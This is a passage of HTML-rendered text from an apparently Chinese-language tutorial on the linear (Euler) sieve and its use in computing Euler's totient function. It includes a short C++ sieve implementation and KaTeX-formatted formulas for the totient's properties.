class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord">12</span><span class="mopen">(</span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">3</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">⋅</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord">4</span><span class="mclose">)</span></span></span></span>被3這個質數篩掉了，但我們希望12是被他的最小質因數2篩掉啊！這代表我們在<code>i=4</code>時要做一些事，讓12這個數被留到<code>i=6</code>，才由2這個質數(因為<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mn>12</mn><mo>=</mo><mn>2</mn><mo>⋅</mo><mn>6</mn></mrow><annotation encoding="application/x-tex">12=2\cdot 6</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">12</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">2</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">⋅</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">6</span></span></span></span>，2是12的最小質因數)篩掉。<br>我們可以注意到<code>prime</code>中的質數是由小到大排列的，所以我們可以在迴圈中多加一個判斷式：對於每個質數<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>p</mi></mrow><annotation encoding="application/x-tex">p</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.625em;vertical-align:-0.1944em;"></span><span class="mord mathnormal">p</span></span></span></span>，都判斷<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>p</mi></mrow><annotation encoding="application/x-tex">p</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.625em;vertical-align:-0.1944em;"></span><span class="mord mathnormal">p</span></span></span></span>是否整除<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>i</mi></mrow><annotation encoding="application/x-tex">i</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6595em;"></span><span class="mord mathnormal">i</span></span></span></span>，這樣找出來的第一個質數便為<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>i</mi></mrow><annotation encoding="application/x-tex">i</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6595em;"></span><span class="mord mathnormal">i</span></span></span></span>的最小質因數。一旦遇到了<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>i</mi></mrow><annotation encoding="application/x-tex">i</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6595em;"></span><span class="mord mathnormal">i</span></span></span></span>的最小質因數，後面的數就不用再乘了，因為這些乘出來的數要留給他們的最小質因數篩。<br>看上去很抽象，我們一樣以小數字舉例：</p><ul><li><code>i=4</code>時，首先乘以<code>p=2</code>得到8，篩掉，沒問題，接著判斷發現<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mn>2</mn><mo>∣</mo><mn>4</mn></mrow><annotation encoding="application/x-tex">2\mid4</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord">2</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">∣</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">4</span></span></span></span>，所以直接<code>break;</code>(即不用考慮後面的<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mn>3</mn><mo>⋅</mo><mn>4</mn><mo>=</mo><mn>12</mn></mrow><annotation encoding="application/x-tex">3\cdot 4=12</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">3</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">⋅</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">4</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">12</span></span></span></span>，因為<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>i</mi><mo stretchy="false">(</mo><mo>=</mo><mn>4</mn><mo stretchy="false">)</mo></mrow><annotation encoding="application/x-tex">i(=4)</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal">i</span><span class="mopen">(</span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord">4</span><span class="mclose">)</span></span></span></span>的最小質因數已經為<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mn>2</mn></mrow><annotation encoding="application/x-tex">2</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">2</span></span></span></span>，所以<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>p</mi><mo>⋅</mo><mi>i</mi></mrow><annotation encoding="application/x-tex">p\cdot i</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6389em;vertical-align:-0.1944em;"></span><span class="mord mathnormal">p</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">⋅</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.6595em;"></span><span class="mord mathnormal">i</span></span></span></span>的最小質因數不會比<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mn>2</mn></mrow><annotation encoding="application/x-tex">2</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">2</span></span></span></span>還大，故不該被比2大的質數(如這裡的3)給篩掉)</li><li><code>i=6</code>時，首先乘以<code>p=2</code>得到12，篩掉，沒問題，接著判斷發現<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mn>2</mn><mo>∣</mo><mn>6</mn></mrow><annotation encoding="application/x-tex">2\mid6</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord">2</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">∣</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">6</span></span></span></span>，所以直接<code>break;</code>(後面的<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mn>3</mn><mo>⋅</mo><mn>6</mn></mrow><annotation encoding="application/x-tex">3\cdot 6</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">3</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">⋅</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">6</span></span></span></span>跟<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mn>5</mn><mo>⋅</mo><mn>6</mn></mrow><annotation encoding="application/x-tex">5\cdot 6</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">5</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">⋅</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">6</span></span></span></span>的最小質因數都2，因此不該在這時由3、5篩掉)</li></ul><h2 id="code" tabindex="-1" id="Code">Code</h2><pre class="line-numbers language-cpp" data-language="cpp"><code class="language-cpp"><span class="token macro property"><span class="token directive-hash">#</span><span class="token directive keyword">include</span><span class="token string">&lt;bits/stdc++.h></span></span>std<span class="token double-colon punctuation">::</span>vector<span class="token operator">&lt;</span><span class="token keyword">int</span><span class="token operator">></span> prime<span class="token punctuation">;</span><span class="token keyword">bool</span> not_prime<span class="token punctuation">[</span>N<span class="token operator">+</span><span class="token number">1</span><span class="token punctuation">]</span><span class="token punctuation">;</span><span class="token keyword">void</span> <span class="token function">pre</span><span class="token punctuation">(</span><span class="token keyword">int</span> n<span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>  <span class="token keyword">for</span> <span class="token punctuation">(</span><span class="token keyword">int</span> i<span class="token operator">=</span><span class="token number">2</span><span class="token punctuation">;</span> i<span class="token operator">&lt;=</span>n<span class="token punctuation">;</span> i<span class="token operator">++</span><span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>    <span class="token keyword">if</span> <span class="token punctuation">(</span><span class="token operator">!</span>not_prime<span class="token punctuation">[</span>i<span class="token punctuation">]</span><span class="token punctuation">)</span> prime<span class="token punctuation">.</span><span class="token function">push_back</span><span class="token punctuation">(</span>i<span class="token punctuation">)</span><span class="token punctuation">;</span>    <span class="token keyword">for</span> <span class="token punctuation">(</span><span class="token keyword">int</span> p <span class="token operator">:</span> prime<span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>      <span class="token keyword">if</span> <span class="token punctuation">(</span>i<span class="token operator">*</span>p <span class="token operator">></span> n<span class="token punctuation">)</span> <span class="token keyword">break</span><span class="token punctuation">;</span>      not_prime<span class="token punctuation">[</span>i<span class="token operator">*</span>p<span class="token punctuation">]</span> <span class="token operator">=</span> <span class="token boolean">true</span><span class="token punctuation">;</span>      <span class="token keyword">if</span> <span class="token punctuation">(</span>i<span class="token operator">%</span>p <span class="token operator">==</span> <span class="token number">0</span><span class="token punctuation">)</span> <span class="token keyword">break</span><span class="token punctuation">;</span>    <span class="token punctuation">&#125;</span>  <span class="token punctuation">&#125;</span><span class="token punctuation">&#125;</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><h1 id="%E7%B7%9A%E6%80%A7%E7%AF%A9%E6%B1%82%E6%AD%90%E6%8B%89%E5%87%BD%E6%95%B8" tabindex="-1">線性篩求歐拉函數</h1><p>在線性篩的過程中結合動態規劃，我們能達到意想不到的效果。首先是「歐拉函數」的計算。<br>歐拉函數<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>ϕ</mi><mo stretchy="false">(</mo><mi>n</mi><mo stretchy="false">)</mo></mrow><annotation encoding="application/x-tex">\phi(n)</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal">ϕ</span><span class="mopen">(</span><span class="mord mathnormal">n</span><span class="mclose">)</span></span></span></span>表示小於等於<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>n</mi></mrow><annotation encoding="application/x-tex">n</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal">n</span></span></span></span>且與<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>n</mi></mrow><annotation encoding="application/x-tex">n</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal">n</span></span></span></span>互質的正整數個數。比如<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>ϕ</mi><mo stretchy="false">(</mo><mn>10</mn><mo stretchy="false">)</mo><mo>=</mo><mn>4</mn></mrow><annotation encoding="application/x-tex">\phi(10)=4</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal">ϕ</span><span class="mopen">(</span><span class="mord">10</span><span class="mclose">)</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">4</span></span></span></span><br>因為1~10中，1,3,7,9共四個數與10互質。</p><h2 id="%E6%AD%90%E6%8B%89%E5%87%BD%E6%95%B8%E7%9A%84%E6%80%A7%E8%B3%AA" tabindex="-1" id="歐拉函數的性質">歐拉函數的性質</h2><ol><li>若<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>p</mi></mrow><annotation encoding="application/x-tex">p</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.625em;vertical-align:-0.1944em;"></span><span class="mord mathnormal">p</span></span></span></span>為質數，<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>ϕ</mi><mo stretchy="false">(</mo><mi>p</mi><mo stretchy="false">)</mo><mo>=</mo><mi>p</mi><mo>−</mo><mn>1</mn></mrow><annotation encoding="application/x-tex">\phi(p)=p-1</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal">ϕ</span><span class="mopen">(</span><span class="mord mathnormal">p</span><span class="mclose">)</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.7778em;vertical-align:-0.1944em;"></span><span class="mord mathnormal">p</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">−</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">1</span></span></span></span></li><li>若<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>p</mi></mrow><annotation encoding="application/x-tex">p</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.625em;vertical-align:-0.1944em;"></span><span class="mord mathnormal">p</span></span></span></span>為質數，<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>ϕ</mi><mo stretchy="false">(</mo><msup><mi>p</mi><mi>k</mi></msup><mo stretchy="false">)</mo><mo>=</mo><msup><mi>p</mi><mi>k</mi></msup><mo>−</mo><msup><mi>p</mi><mrow><mi>k</mi><mo>−</mo><mn>1</mn></mrow></msup><mo>=</mo><msup><mi>p</mi><mi>k</mi></msup><mrow><mo fence="true">(</mo><mn>1</mn><mo>−</mo><mfrac><mn>1</mn><mi>p</mi></mfrac><mo fence="true">)</mo></mrow></mrow><annotation encoding="application/x-tex">\phi(p^k)=p^k-p^{k-1}=p^k\left(1-\frac{1}{p}\right)</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1.0991em;vertical-align:-0.25em;"></span><span class="mord mathnormal">ϕ</span><span class="mopen">(</span><span class="mord"><span class="mord mathnormal">p</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8491em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight" style="margin-right:0.0315em;">k</span></span></span></span></span></span></span></span><span class="mclose">)</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1.0435em;vertical-align:-0.1944em;"></span><span class="mord"><span class="mord mathnormal">p</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8491em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight" style="margin-right:0.0315em;">k</span></span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">−</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:1.0435em;vertical-align:-0.1944em;"></span><span class="mord"><span class="mord mathnormal">p</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8491em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight" style="margin-right:0.0315em;">k</span><span class="mbin mtight">−</span><span class="mord mtight">1</span></span></span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1.8em;vertical-align:-0.65em;"></span><span class="mord"><span class="mord mathnormal">p</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8491em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight" style="margin-right:0.0315em;">k</span></span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="minner"><span class="mopen delimcenter" style="top:0em;"><span class="delimsizing size2">(</span></span><span class="mord">1</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">−</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mord"><span class="mopen nulldelimiter"></span><span class="mfrac"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.8451em;"><span style="top:-2.655em;"><span class="pstrut" style="height:3em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight">p</span></span></span></span><span style="top:-3.23em;"><span class="pstrut" style="height:3em;"></span><span class="frac-line" style="border-bottom-width:0.04em;"></span></span><span style="top:-3.394em;"><span class="pstrut" style="height:3em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight">1</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.4811em;"><span></span></span></span></span></span><span class="mclose nulldelimiter"></span></span><span class="mclose delimcenter" style="top:0em;"><span class="delimsizing size2">)</span></span></span></span></span></span></li><li>歐拉函數為<strong>積性函數</strong>：若<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mo stretchy="false">(</mo><mi>a</mi><mo separator="true">,</mo><mi>b</mi><mo stretchy="false">)</mo><mo>=</mo><mn>1</mn></mrow><annotation encoding="application/x-tex">(a,b)=1</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mopen">(</span><span class="mord mathnormal">a</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal">b</span><span class="mclose">)</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">1</span></span></span></span>，則<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>ϕ</mi><mo stretchy="false">(</mo><mi>a</mi><mi>b</mi><mo stretchy="false">)</mo><mo>=</mo><mi>ϕ</mi><mo stretchy="false">(</mo><mi>a</mi><mo stretchy="false">)</mo><mi>ϕ</mi><mo stretchy="false">(</mo><mi>b</mi><mo stretchy="false">)</mo></mrow><annotation encoding="application/x-tex">\phi(ab)=\phi(a)\phi(b)</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal">ϕ</span><span class="mopen">(</span><span class="mord mathnormal">ab</span><span class="mclose">)</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal">ϕ</span><span class="mopen">(</span><span class="mord mathnormal">a</span><span class="mclose">)</span><span class="mord mathnormal">ϕ</span><span class="mopen">(</span><span class="mord mathnormal">b</span><span class="mclose">)</span></span></span></span></li><li>歐拉函數一般式：<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>ϕ</mi><mo stretchy="false">(</mo><mi>n</mi><mo stretchy="false">)</mo><mo>=</mo><mi>n</mi><munder><mo>∏</mo><mrow><mi>p</mi><mo>∈</mo><mi>S</mi></mrow></munder><mrow><mo fence="true">(</mo><mrow><mn>1</mn><mo>−</mo><mfrac><mn>1</mn><mi>p</mi></mfrac></mrow><mo fence="true">)</mo></mrow></mrow><annotation encoding="application/x-tex">\phi(n)=n\prod\limits_{p\in S}\left({1-\frac{1}{p}}\right)</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal">ϕ</span><span class="mopen">(</span><span class="mord mathnormal">n</span><span class="mclose">)</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:2.2804em;vertical-align:-1.1304em;"></span><span class="mord mathnormal">n</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mop op-limits"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.75em;"><span style="top:-2.1057em;margin-left:0em;"><span class="pstrut" style="height:3em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight">p</span><span class="mrel mtight">∈</span><span class="mord mathnormal mtight" style="margin-right:0.0576em;">S</span></span></span></span><span style="top:-3em;"><span class="pstrut" style="height:3em;"></span><span><span class="mop op-symbol small-op">∏</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:1.1304em;"><span></span></span></span></span></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="minner"><span class="mopen delimcenter" style="top:0em;"><span class="delimsizing size2">(</span></span><span class="mord"><span class="mord">1</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">−</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mord"><span class="mopen nulldelimiter"></span><span class="mfrac"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.8451em;"><span style="top:-2.655em;"><span class="pstrut" style="height:3em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight">p</span></span></span></span><span style="top:-3.23em;"><span class="pstrut" style="height:3em;"></span><span class="frac-line" style="border-bottom-width:0.04em;"></span></span><span style="top:-3.394em;"><span class="pstrut" style="height:3em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight">1</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.4811em;"><span></span></span></span></span></span><span class="mclose nulldelimiter"></span></span></span><span class="mclose delimcenter" style="top:0em;"><span class="delimsizing size2">)</span></span></span></span></span></span>，<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>S</mi></mrow><annotation encoding="application/x-tex">S</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord mathnormal" style="margin-right:0.0576em;">S</span></span></span></span>為<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>n</mi></mrow><annotation encoding="application/x-tex">n</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal">n</span></span></span></span>的所有質因數的集合</li></ol><h2 id="%E5%8E%9F%E7%90%86%E5%88%86%E6%9E%90" tabindex="-1" id="原理分析">原理分析</h2><p>我們的目標是結合動態規劃(用前一個算後面的)，並運用到線性篩能找出最小質因數的特性。<br>設<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msub><mi>p</mi><mi>n</mi></msub></mrow><annotation encoding="application/x-tex">p_n</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.625em;vertical-align:-0.1944em;"></span><span class="mord"><span class="mord mathnormal">p</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.1514em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">n</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span></span></span>為<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>n</mi></mrow><annotation encoding="application/x-tex">n</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal">n</span></span></span></span>的最小質因數，令<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msup><mi>n</mi><mo mathvariant="normal">′</mo></msup><mo>=</mo><mfrac><mi>n</mi><msub><mi>p</mi><mi>n</mi></msub></mfrac></mrow><annotation encoding="application/x-tex">n^\prime=\frac{n}{p_n}</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.7519em;"></span><span class="mord"><span class="mord mathnormal">n</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.7519em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">′</span></span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1.1765em;vertical-align:-0.4811em;"></span><span class="mord"><span class="mopen nulldelimiter"></span><span class="mfrac"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.6954em;"><span style="top:-2.655em;"><span class="pstrut" style="height:3em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight"><span class="mord mathnormal mtight">p</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.1645em;"><span style="top:-2.357em;margin-left:0em;margin-right:0.0714em;"><span class="pstrut" style="height:2.5em;"></span><span class="sizing reset-size3 size1 mtight"><span class="mord mathnormal mtight">n</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.143em;"><span></span></span></span></span></span></span></span></span></span><span style="top:-3.23em;"><span class="pstrut" style="height:3em;"></span><span class="frac-line" style="border-bottom-width:0.04em;"></span></span><span style="top:-3.394em;"><span class="pstrut" style="height:3em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight">n</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.4811em;"><span></span></span></span></span></span><span class="mclose nulldelimiter"></span></span></span></span></span>。<br>分為以下兩種情形：<br>情形一：<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msub><mi>p</mi><mi>n</mi></msub><mo>∣</mo><msup><mi>n</mi><mo mathvariant="normal">′</mo></msup></mrow><annotation encoding="application/x-tex">p_n \mid n^\prime</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord"><span class="mord mathnormal">p</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.1514em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">n</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">∣</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.7519em;"></span><span class="mord"><span class="mord mathnormal">n</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.7519em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" 